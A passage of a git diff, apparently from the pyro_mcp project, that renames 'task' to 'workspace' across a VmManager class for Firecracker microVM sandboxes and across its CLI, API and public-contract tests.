workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) try: import_summary = self._backend.import_archive( instance, @@ -1249,58 +1257,71 @@ class VmManager: ) finally: prepared_seed.cleanup() - workspace_sync = prepared_seed.to_payload(destination=normalized_destination) + workspace_sync = prepared_seed.to_payload( + destination=normalized_destination, + path_key="source_path", + ) workspace_sync["entry_count"] = int(import_summary["entry_count"]) workspace_sync["bytes_written"] = int(import_summary["bytes_written"]) workspace_sync["destination"] = str(import_summary["destination"]) with self._lock: - task = self._load_task_locked(task_id) - task.state = instance.state - task.firecracker_pid = instance.firecracker_pid - task.last_error = instance.last_error - task.metadata = dict(instance.metadata) - self._save_task_locked(task) + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) return { - "task_id": task_id, + "workspace_id": workspace_id, "execution_mode": instance.metadata.get("execution_mode", "pending"), "workspace_sync": workspace_sync, } - def exec_task(self, task_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int = 30, + ) -> dict[str, Any]: if timeout_seconds <= 0: raise ValueError("timeout_seconds must be positive") with self._lock: - task = self._load_task_locked(task_id) - self._ensure_task_not_expired_locked(task, time.time()) - self._refresh_task_liveness_locked(task) - if task.state != "started": - raise RuntimeError(f"task {task_id} must be in 'started' state before task_exec") - instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "started": + raise RuntimeError( + f"workspace {workspace_id} must be in 'started' state before workspace_exec" + ) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) exec_result, execution_mode = self._exec_instance( instance, command=command, timeout_seconds=timeout_seconds, - host_workdir=self._task_workspace_dir(task.task_id), - guest_cwd=TASK_WORKSPACE_GUEST_PATH, + host_workdir=self._workspace_host_dir(workspace.workspace_id), + guest_cwd=WORKSPACE_GUEST_PATH, ) with self._lock: - task = self._load_task_locked(task_id) - task.state = instance.state - task.firecracker_pid = instance.firecracker_pid - task.last_error = instance.last_error - task.metadata = dict(instance.metadata) - entry = self._record_task_command_locked( - task, + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + entry = self._record_workspace_command_locked( + workspace, command=command, exec_result=exec_result, execution_mode=execution_mode, - cwd=TASK_WORKSPACE_GUEST_PATH, + cwd=WORKSPACE_GUEST_PATH, ) - self._save_task_locked(task) + self._save_workspace_locked(workspace) return { - "task_id": task_id, - "environment": task.environment, - "environment_version": task.metadata.get("environment_version"), + "workspace_id": workspace_id, + "environment": workspace.environment, + "environment_version": workspace.metadata.get("environment_version"), "command": command, "stdout": exec_result.stdout, "stderr": exec_result.stderr, @@ -1308,36 +1329,47 @@ class VmManager: "duration_ms": exec_result.duration_ms, "execution_mode": execution_mode, "sequence": entry["sequence"], - "cwd": TASK_WORKSPACE_GUEST_PATH, + "cwd": WORKSPACE_GUEST_PATH, } - def status_task(self, task_id: str) -> dict[str, Any]: + def status_workspace(self, workspace_id: str) -> dict[str, Any]: with self._lock: - task = self._load_task_locked(task_id) - self._ensure_task_not_expired_locked(task, time.time()) - self._refresh_task_liveness_locked(task) - self._save_task_locked(task) - return self._serialize_task(task) + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) - def logs_task(self, task_id: str) -> dict[str, Any]: + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: with self._lock: - task = self._load_task_locked(task_id) - self._ensure_task_not_expired_locked(task, time.time()) - self._refresh_task_liveness_locked(task) - self._save_task_locked(task) - entries = self._read_task_logs_locked(task.task_id) - return {"task_id": task.task_id, "count": len(entries), "entries": entries} + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + self._save_workspace_locked(workspace) + entries = self._read_workspace_logs_locked(workspace.workspace_id) + return { + "workspace_id": workspace.workspace_id, + "count": len(entries), + "entries": entries, + } - def delete_task(self, task_id: str, *, reason: str = "explicit_delete") -> dict[str, Any]: + def delete_workspace( + self, + workspace_id: str, + *, + reason: str = "explicit_delete", + ) -> dict[str, Any]: with self._lock: - task = self._load_task_locked(task_id) - instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) - if task.state == "started": + workspace = self._load_workspace_locked(workspace_id) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + if workspace.state == "started": self._backend.stop(instance) - task.state = "stopped" + workspace.state = "stopped" self._backend.delete(instance) - shutil.rmtree(self._task_dir(task_id), ignore_errors=True) - return {"task_id": task_id, "deleted": True, "reason": reason} + shutil.rmtree(self._workspace_dir(workspace_id), ignore_errors=True) + return {"workspace_id": workspace_id, "deleted": True, "reason": reason} def _validate_limits(self, *, vcpu_count: int, mem_mib: int, ttl_seconds: int) -> None: if not self.MIN_VCPUS <= vcpu_count <= self.MAX_VCPUS: @@ -1368,27 +1400,27 @@ class VmManager: "metadata": instance.metadata, } - def _serialize_task(self, task: TaskRecord) -> dict[str, Any]: + def _serialize_workspace(self, workspace: WorkspaceRecord) -> dict[str, Any]: return { - "task_id": task.task_id, - "environment": task.environment, - "environment_version": task.metadata.get("environment_version"), - "vcpu_count": task.vcpu_count, - "mem_mib": task.mem_mib, - "ttl_seconds": task.ttl_seconds, - "created_at": task.created_at, - "expires_at": task.expires_at, - "state": task.state, - "network_enabled": task.network is not None, - "allow_host_compat": task.allow_host_compat, - "guest_ip": task.network.guest_ip if task.network is not None else None, - "tap_name": task.network.tap_name if task.network is not None else None, - "execution_mode": task.metadata.get("execution_mode", "pending"), - "workspace_path": TASK_WORKSPACE_GUEST_PATH, - "workspace_seed": _task_workspace_seed_dict(task.workspace_seed), - "command_count": task.command_count, - "last_command": task.last_command, - "metadata": task.metadata, + "workspace_id": workspace.workspace_id, + "environment": workspace.environment, + "environment_version": workspace.metadata.get("environment_version"), + "vcpu_count": workspace.vcpu_count, + "mem_mib": workspace.mem_mib, + "ttl_seconds": workspace.ttl_seconds, + "created_at": workspace.created_at, + "expires_at": workspace.expires_at, + "state": workspace.state, + "network_enabled": workspace.network is not None, + "allow_host_compat": workspace.allow_host_compat, + "guest_ip": workspace.network.guest_ip if workspace.network is not None else None, + "tap_name": workspace.network.tap_name if workspace.network is not None else None, + "execution_mode": workspace.metadata.get("execution_mode", "pending"), + "workspace_path": WORKSPACE_GUEST_PATH, + "workspace_seed": _workspace_seed_dict(workspace.workspace_seed), + "command_count": workspace.command_count, + "last_command": workspace.last_command, + "metadata": workspace.metadata, } def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: @@ -1481,14 +1513,14 @@ class VmManager: execution_mode = instance.metadata.get("execution_mode", "unknown") return exec_result, execution_mode - def _prepare_workspace_seed(self, source_path: str | Path | None) -> PreparedWorkspaceSeed: - if source_path is None: + def _prepare_workspace_seed(self, seed_path: str | Path | None) -> PreparedWorkspaceSeed: + if seed_path is None: return PreparedWorkspaceSeed(mode="empty", source_path=None) - resolved_source_path = Path(source_path).expanduser().resolve() + resolved_source_path = Path(seed_path).expanduser().resolve() if not resolved_source_path.exists(): - raise ValueError(f"source_path {resolved_source_path} does not exist") + raise ValueError(f"seed_path {resolved_source_path} does not exist") if resolved_source_path.is_dir(): - cleanup_dir = Path(tempfile.mkdtemp(prefix="pyro-task-seed-")) + cleanup_dir = Path(tempfile.mkdtemp(prefix="pyro-workspace-seed-")) archive_path = cleanup_dir / "workspace-seed.tar" try: _write_directory_seed_archive(resolved_source_path, archive_path) @@ -1509,7 +1541,7 @@ class VmManager: or not _is_supported_seed_archive(resolved_source_path) ): raise ValueError( - "source_path must be a directory or a .tar/.tar.gz/.tgz archive" + "seed_path must be a directory or a .tar/.tar.gz/.tgz archive" ) entry_count, bytes_written = _inspect_seed_archive(resolved_source_path) return PreparedWorkspaceSeed( @@ -1520,94 +1552,102 @@ class VmManager: bytes_written=bytes_written, ) - def _ensure_task_guest_seed_support(self, instance: VmInstance) -> None: + def _ensure_workspace_guest_seed_support(self, instance: VmInstance) -> None: if self._runtime_paths is None or self._runtime_paths.guest_agent_path is None: - raise RuntimeError("runtime bundle does not provide a guest agent for task seeding") + raise RuntimeError( + "runtime bundle does not provide a guest agent for workspace seeding" + ) rootfs_image = instance.metadata.get("rootfs_image") if rootfs_image is None or rootfs_image == "": - raise RuntimeError("task rootfs image is unavailable for guest workspace seeding") + raise RuntimeError("workspace rootfs image is unavailable for guest seeding") _patch_rootfs_guest_agent(Path(rootfs_image), self._runtime_paths.guest_agent_path) - def _task_dir(self, task_id: str) -> Path: - return self._tasks_dir / task_id + def _workspace_dir(self, workspace_id: str) -> Path: + return self._workspaces_dir / workspace_id - def _task_runtime_dir(self, task_id: str) -> Path: - return self._task_dir(task_id) / TASK_RUNTIME_DIRNAME + def _workspace_runtime_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_RUNTIME_DIRNAME - def _task_workspace_dir(self, task_id: str) -> Path: - return self._task_dir(task_id) / TASK_WORKSPACE_DIRNAME + def _workspace_host_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_DIRNAME - def _task_commands_dir(self, task_id: str) -> Path: - return self._task_dir(task_id) / TASK_COMMANDS_DIRNAME + def _workspace_commands_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_COMMANDS_DIRNAME - def _task_metadata_path(self, task_id: str) -> Path: - return self._task_dir(task_id) / "task.json" + def _workspace_metadata_path(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / "workspace.json" - def _count_tasks_locked(self) -> int: - return sum(1 for _ in self._tasks_dir.glob("*/task.json")) + def _count_workspaces_locked(self) -> int: + return sum(1 for _ in self._workspaces_dir.glob("*/workspace.json")) - def _load_task_locked(self, task_id: str) -> TaskRecord: - metadata_path = self._task_metadata_path(task_id) + def _load_workspace_locked(self, workspace_id: str) -> WorkspaceRecord: + metadata_path = self._workspace_metadata_path(workspace_id) if not metadata_path.exists(): - raise ValueError(f"task {task_id!r} does not exist") + raise ValueError(f"workspace {workspace_id!r} does not exist") payload = json.loads(metadata_path.read_text(encoding="utf-8")) if not isinstance(payload, dict): - raise RuntimeError(f"task record at {metadata_path} is invalid") - return TaskRecord.from_payload(payload) + raise RuntimeError(f"workspace record at {metadata_path} is invalid") + return WorkspaceRecord.from_payload(payload) - def _save_task_locked(self, task: TaskRecord) -> None: - metadata_path = self._task_metadata_path(task.task_id) + def _save_workspace_locked(self, workspace: WorkspaceRecord) -> None: + metadata_path = self._workspace_metadata_path(workspace.workspace_id) metadata_path.parent.mkdir(parents=True, exist_ok=True) metadata_path.write_text( - json.dumps(task.to_payload(), indent=2, sort_keys=True), + json.dumps(workspace.to_payload(), indent=2, sort_keys=True), encoding="utf-8", ) - def _reap_expired_tasks_locked(self, now: float) -> None: - for metadata_path in list(self._tasks_dir.glob("*/task.json")): + def _reap_expired_workspaces_locked(self, now: float) -> None: + for metadata_path in list(self._workspaces_dir.glob("*/workspace.json")): payload = json.loads(metadata_path.read_text(encoding="utf-8")) if not isinstance(payload, dict): shutil.rmtree(metadata_path.parent, ignore_errors=True) continue - task = TaskRecord.from_payload(payload) - if task.expires_at > now: + workspace = WorkspaceRecord.from_payload(payload) + if workspace.expires_at > now: continue - instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) - if task.state == "started": + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + if workspace.state == "started": self._backend.stop(instance) - task.state = "stopped" + workspace.state = "stopped" self._backend.delete(instance) - shutil.rmtree(self._task_dir(task.task_id), ignore_errors=True) + shutil.rmtree(self._workspace_dir(workspace.workspace_id), ignore_errors=True) - def _ensure_task_not_expired_locked(self, task: TaskRecord, now: float) -> None: - if task.expires_at <= now: - task_id = task.task_id - self._reap_expired_tasks_locked(now) - raise RuntimeError(f"task {task_id!r} expired and was automatically deleted") + def _ensure_workspace_not_expired_locked( + self, + workspace: WorkspaceRecord, + now: float, + ) -> None: + if workspace.expires_at <= now: + workspace_id = workspace.workspace_id + self._reap_expired_workspaces_locked(now) + raise RuntimeError(f"workspace {workspace_id!r} expired and was automatically deleted") - def _refresh_task_liveness_locked(self, task: TaskRecord) -> None: - if task.state != "started": + def _refresh_workspace_liveness_locked(self, workspace: WorkspaceRecord) -> None: + if workspace.state != "started": return - execution_mode = task.metadata.get("execution_mode") + execution_mode = workspace.metadata.get("execution_mode") if execution_mode == "host_compat": return - if _pid_is_running(task.firecracker_pid): + if _pid_is_running(workspace.firecracker_pid): return - task.state = "stopped" - task.firecracker_pid = None - task.last_error = "backing guest process is no longer running" + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = "backing guest process is no longer running" - def _record_task_command_locked( + def _record_workspace_command_locked( self, - task: TaskRecord, + workspace: WorkspaceRecord, *, command: str, exec_result: VmExecResult, execution_mode: str, cwd: str, ) -> dict[str, Any]: - sequence = task.command_count + 1 - commands_dir = self._task_commands_dir(task.task_id) + sequence = workspace.command_count + 1 + commands_dir = self._workspace_commands_dir(workspace.workspace_id) commands_dir.mkdir(parents=True, exist_ok=True) base_name = f"{sequence:06d}" stdout_path = commands_dir / f"{base_name}.stdout" @@ -1627,8 +1667,8 @@ class VmManager: "recorded_at": time.time(), } record_path.write_text(json.dumps(entry, indent=2, sort_keys=True), encoding="utf-8") - task.command_count = sequence - task.last_command = { + workspace.command_count = sequence + workspace.last_command = { "sequence": sequence, "command": command, "cwd": cwd, @@ -1638,9 +1678,9 @@ class VmManager: } return entry - def _read_task_logs_locked(self, task_id: str) -> list[dict[str, Any]]: + def _read_workspace_logs_locked(self, workspace_id: str) -> list[dict[str, Any]]: entries: list[dict[str, Any]] = [] - commands_dir = self._task_commands_dir(task_id) + commands_dir = self._workspace_commands_dir(workspace_id) if not commands_dir.exists(): return entries for record_path in sorted(commands_dir.glob("*.json")): diff --git a/tests/test_api.py b/tests/test_api.py index e5f86bf..836f64c 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -48,8 +48,8 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: tool_names = asyncio.run(_run()) assert "vm_run" in tool_names assert "vm_create" in tool_names - assert "task_create" in tool_names - assert "task_sync_push" in tool_names + assert "workspace_create" in tool_names + assert "workspace_sync_push" in tool_names def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: @@ -106,7 +106,7 @@ def test_pyro_create_vm_defaults_sizing_and_host_compat(tmp_path: Path) -> None: assert created["allow_host_compat"] is True -def test_pyro_task_methods_delegate_to_manager(tmp_path: Path) -> None: +def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( backend_name="mock", @@ -119,20 +119,20 @@ def test_pyro_task_methods_delegate_to_manager(tmp_path: Path) -> None: source_dir.mkdir() (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") - created = pyro.create_task( + created = pyro.create_workspace( environment="debian:12-base", allow_host_compat=True, - source_path=source_dir, + seed_path=source_dir, ) - task_id = str(created["task_id"]) + workspace_id = str(created["workspace_id"]) updated_dir = tmp_path / "updated" updated_dir.mkdir() (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") - synced = pyro.push_task_sync(task_id, updated_dir, dest="subdir") - executed = pyro.exec_task(task_id, command="cat note.txt") - status = pyro.status_task(task_id) - logs = pyro.logs_task(task_id) - deleted = pyro.delete_task(task_id) + synced = pyro.push_workspace_sync(workspace_id, updated_dir, dest="subdir") + executed = pyro.exec_workspace(workspace_id, command="cat note.txt") + status = pyro.status_workspace(workspace_id) + logs = pyro.logs_workspace(workspace_id) + deleted = pyro.delete_workspace(workspace_id) assert executed["stdout"] == "ok\n" assert created["workspace_seed"]["mode"] == "directory" diff --git a/tests/test_cli.py b/tests/test_cli.py index 549d113..b3914a6 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -30,7 +30,7 @@ def test_cli_help_guides_first_run() -> None: assert "pyro env list" in help_text assert "pyro env pull debian:12" in help_text assert "pyro run debian:12 -- git --version" in help_text - assert "pyro task sync push TASK_ID ./changes" in help_text + assert "pyro workspace sync push WORKSPACE_ID ./changes" in help_text assert "Use `pyro mcp serve` only after the CLI validation path works." in help_text @@ -60,28 +60,37 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "Expose pyro tools over stdio for an MCP client." in mcp_help assert "Use this from an MCP client config after the CLI evaluation path works." in mcp_help - task_help = _subparser_choice(parser, "task").format_help() - assert "pyro task create debian:12 --source-path ./repo" in task_help - assert "pyro task sync push TASK_ID ./repo --dest src" in task_help - assert "pyro task exec TASK_ID" in task_help + workspace_help = _subparser_choice(parser, "workspace").format_help() + assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help + assert "pyro workspace sync push WORKSPACE_ID ./repo --dest src" in workspace_help + assert "pyro workspace exec WORKSPACE_ID" in workspace_help - task_create_help = _subparser_choice(_subparser_choice(parser, "task"), "create").format_help() - assert "--source-path" in task_create_help - assert "seed into `/workspace`" in task_create_help - - task_exec_help = _subparser_choice(_subparser_choice(parser, "task"), "exec").format_help() - assert "persistent `/workspace`" in task_exec_help - assert "pyro task exec TASK_ID -- cat note.txt" in task_exec_help - - task_sync_help = _subparser_choice(_subparser_choice(parser, "task"), "sync").format_help() - assert "Sync is non-atomic." in task_sync_help - assert "pyro task sync push TASK_ID ./repo" in task_sync_help - - task_sync_push_help = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "task"), "sync"), "push" + workspace_create_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "create", ).format_help() - assert "--dest" in task_sync_push_help - assert "Import host content into `/workspace`" in task_sync_push_help + assert "--seed-path" in workspace_create_help + assert "seed into `/workspace`" in workspace_create_help + + workspace_exec_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "exec", + ).format_help() + assert "persistent `/workspace`" in workspace_exec_help + assert "pyro workspace exec WORKSPACE_ID -- cat note.txt" in workspace_exec_help + + workspace_sync_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "sync", + ).format_help() + assert "Sync is non-atomic." in workspace_sync_help + assert "pyro workspace sync push WORKSPACE_ID ./repo" in workspace_sync_help + + workspace_sync_push_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "sync"), "push" + ).format_help() + assert "--dest" in workspace_sync_push_help + assert "Import host content into `/workspace`" in workspace_sync_push_help def test_cli_run_prints_json( @@ -344,32 +353,32 @@ def test_cli_requires_run_command() -> None: def test_cli_requires_command_preserves_shell_argument_boundaries() -> None: command = cli._require_command( - ["--", "sh", "-lc", 'printf "hello from task\\n" > note.txt'] + ["--", "sh", "-lc", 'printf "hello from workspace\\n" > note.txt'] ) - assert command == 'sh -lc \'printf "hello from task\\n" > note.txt\'' + assert command == 'sh -lc \'printf "hello from workspace\\n" > note.txt\'' -def test_cli_task_create_prints_json( +def test_cli_workspace_create_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: class StubPyro: - def create_task(self, **kwargs: Any) -> dict[str, Any]: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: assert kwargs["environment"] == "debian:12" - assert kwargs["source_path"] == "./repo" - return {"task_id": "task-123", "state": "started"} + assert kwargs["seed_path"] == "./repo" + return {"workspace_id": "workspace-123", "state": "started"} class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="create", + command="workspace", + workspace_command="create", environment="debian:12", vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=False, allow_host_compat=False, - source_path="./repo", + seed_path="./repo", json=True, ) @@ -377,23 +386,23 @@ def test_cli_task_create_prints_json( monkeypatch.setattr(cli, "Pyro", StubPyro) cli.main() output = json.loads(capsys.readouterr().out) - assert output["task_id"] == "task-123" + assert output["workspace_id"] == "workspace-123" -def test_cli_task_create_prints_human( +def test_cli_workspace_create_prints_human( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: class StubPyro: - def create_task(self, **kwargs: Any) -> dict[str, Any]: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: del kwargs return { - "task_id": "task-123", + "workspace_id": "workspace-123", "environment": "debian:12", "state": "started", "workspace_path": "/workspace", "workspace_seed": { "mode": "directory", - "source_path": "/tmp/repo", + "seed_path": "/tmp/repo", "destination": "/workspace", "entry_count": 1, "bytes_written": 6, @@ -408,15 +417,15 @@ def test_cli_task_create_prints_human( class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="create", + command="workspace", + workspace_command="create", environment="debian:12", vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=False, allow_host_compat=False, - source_path="/tmp/repo", + seed_path="/tmp/repo", json=False, ) @@ -424,22 +433,28 @@ def test_cli_task_create_prints_human( monkeypatch.setattr(cli, "Pyro", StubPyro) cli.main() output = capsys.readouterr().out - assert "Task: task-123" in output + assert "Workspace ID: workspace-123" in output assert "Workspace: /workspace" in output assert "Workspace seed: directory from /tmp/repo" in output -def test_cli_task_exec_prints_human_output( +def test_cli_workspace_exec_prints_human_output( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], ) -> None: class StubPyro: - def exec_task(self, task_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: - assert task_id == "task-123" + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" assert command == "cat note.txt" assert timeout_seconds == 30 return { - "task_id": task_id, + "workspace_id": workspace_id, "sequence": 2, "cwd": "/workspace", "execution_mode": "guest_vsock", @@ -452,9 +467,9 @@ def test_cli_task_exec_prints_human_output( class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="exec", - task_id="task-123", + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", timeout_seconds=30, json=False, command_args=["--", "cat", "note.txt"], @@ -465,19 +480,28 @@ def test_cli_task_exec_prints_human_output( cli.main() captured = capsys.readouterr() assert captured.out == "hello\n" - assert "[task-exec] task_id=task-123 sequence=2 cwd=/workspace" in captured.err + assert ( + "[workspace-exec] workspace_id=workspace-123 sequence=2 cwd=/workspace" + in captured.err + ) -def test_cli_task_sync_push_prints_json( +def test_cli_workspace_sync_push_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: class StubPyro: - def push_task_sync(self, task_id: str, source_path: str, *, dest: str) -> dict[str, Any]: - assert task_id == "task-123" + def push_workspace_sync( + self, + workspace_id: str, + source_path: str, + *, + dest: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" assert source_path == "./repo" assert dest == "src" return { - "task_id": task_id, + "workspace_id": workspace_id, "execution_mode": "guest_vsock", "workspace_sync": { "mode": "directory", @@ -491,10 +515,10 @@ def test_cli_task_sync_push_prints_json( class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="sync", - task_sync_command="push", - task_id="task-123", + command="workspace", + workspace_command="sync", + workspace_sync_command="push", + workspace_id="workspace-123", source_path="./repo", dest="src", json=True, @@ -507,17 +531,23 @@ def test_cli_task_sync_push_prints_json( assert output["workspace_sync"]["destination"] == "/workspace/src" -def test_cli_task_sync_push_prints_human( +def test_cli_workspace_sync_push_prints_human( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], ) -> None: class StubPyro: - def push_task_sync(self, task_id: str, source_path: str, *, dest: str) -> dict[str, Any]: - assert task_id == "task-123" + def push_workspace_sync( + self, + workspace_id: str, + source_path: str, + *, + dest: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" assert source_path == "./repo" assert dest == "/workspace" return { - "task_id": task_id, + "workspace_id": workspace_id, "execution_mode": "guest_vsock", "workspace_sync": { "mode": "directory", @@ -531,10 +561,10 @@ def test_cli_task_sync_push_prints_human( class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="sync", - task_sync_command="push", - task_id="task-123", + command="workspace", + workspace_command="sync", + workspace_sync_command="push", + workspace_id="workspace-123", source_path="./repo", dest="/workspace", json=False, @@ -544,22 +574,22 @@ def test_cli_task_sync_push_prints_human( monkeypatch.setattr(cli, "Pyro", StubPyro) cli.main() output = capsys.readouterr().out - assert "[task-sync] task_id=task-123 mode=directory source=/tmp/repo" in output + assert "[workspace-sync] workspace_id=workspace-123 mode=directory source=/tmp/repo" in output assert ( "destination=/workspace entry_count=2 bytes_written=12 " "execution_mode=guest_vsock" ) in output -def test_cli_task_logs_and_delete_print_human( +def test_cli_workspace_logs_and_delete_print_human( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], ) -> None: class StubPyro: - def logs_task(self, task_id: str) -> dict[str, Any]: - assert task_id == "task-123" + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" return { - "task_id": task_id, + "workspace_id": workspace_id, "count": 1, "entries": [ { @@ -574,16 +604,16 @@ def test_cli_task_logs_and_delete_print_human( ], } - def delete_task(self, task_id: str) -> dict[str, Any]: - assert task_id == "task-123" - return {"task_id": task_id, "deleted": True} + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "deleted": True} class LogsParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="logs", - task_id="task-123", + command="workspace", + workspace_command="logs", + workspace_id="workspace-123", json=False, ) @@ -594,9 +624,9 @@ def test_cli_task_logs_and_delete_print_human( class DeleteParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="delete", - task_id="task-123", + command="workspace", + workspace_command="delete", + workspace_id="workspace-123", json=False, ) @@ -605,28 +635,28 @@ def test_cli_task_logs_and_delete_print_human( output = capsys.readouterr().out assert "#1 exit_code=0 duration_ms=2 cwd=/workspace" in output - assert "Deleted task: task-123" in output + assert "Deleted workspace: workspace-123" in output -def test_cli_task_status_and_delete_print_json( +def test_cli_workspace_status_and_delete_print_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], ) -> None: class StubPyro: - def status_task(self, task_id: str) -> dict[str, Any]: - assert task_id == "task-123" - return {"task_id": task_id, "state": "started"} + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "state": "started"} - def delete_task(self, task_id: str) -> dict[str, Any]: - assert task_id == "task-123" - return {"task_id": task_id, "deleted": True} + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "deleted": True} class StatusParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="status", - task_id="task-123", + command="workspace", + workspace_command="status", + workspace_id="workspace-123", json=True, ) @@ -639,9 +669,9 @@ def test_cli_task_status_and_delete_print_json( class DeleteParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="delete", - task_id="task-123", + command="workspace", + workspace_command="delete", + workspace_id="workspace-123", json=True, ) @@ -651,20 +681,26 @@ def test_cli_task_status_and_delete_print_json( assert deleted["deleted"] is True -def test_cli_task_exec_json_error_exits_nonzero( +def test_cli_workspace_exec_json_error_exits_nonzero( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: class StubPyro: - def exec_task(self, task_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: - del task_id, command, timeout_seconds - raise RuntimeError("task is unavailable") + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + ) -> dict[str, Any]: + del workspace_id, command, timeout_seconds + raise RuntimeError("workspace is unavailable") class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( - command="task", - task_command="exec", - task_id="task-123", + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", timeout_seconds=30, json=True, command_args=["--", "true"], diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 0a71662..eecb8ea 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -17,10 +17,10 @@ from pyro_mcp.contract import ( PUBLIC_CLI_DEMO_SUBCOMMANDS, PUBLIC_CLI_ENV_SUBCOMMANDS, PUBLIC_CLI_RUN_FLAGS, - PUBLIC_CLI_TASK_CREATE_FLAGS, - PUBLIC_CLI_TASK_SUBCOMMANDS, - PUBLIC_CLI_TASK_SYNC_PUSH_FLAGS, - PUBLIC_CLI_TASK_SYNC_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, + PUBLIC_CLI_WORKSPACE_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, + PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, PUBLIC_MCP_TOOLS, PUBLIC_SDK_METHODS, ) @@ -67,22 +67,25 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: for subcommand_name in PUBLIC_CLI_ENV_SUBCOMMANDS: assert subcommand_name in env_help_text - task_help_text = _subparser_choice(parser, "task").format_help() - for subcommand_name in PUBLIC_CLI_TASK_SUBCOMMANDS: - assert 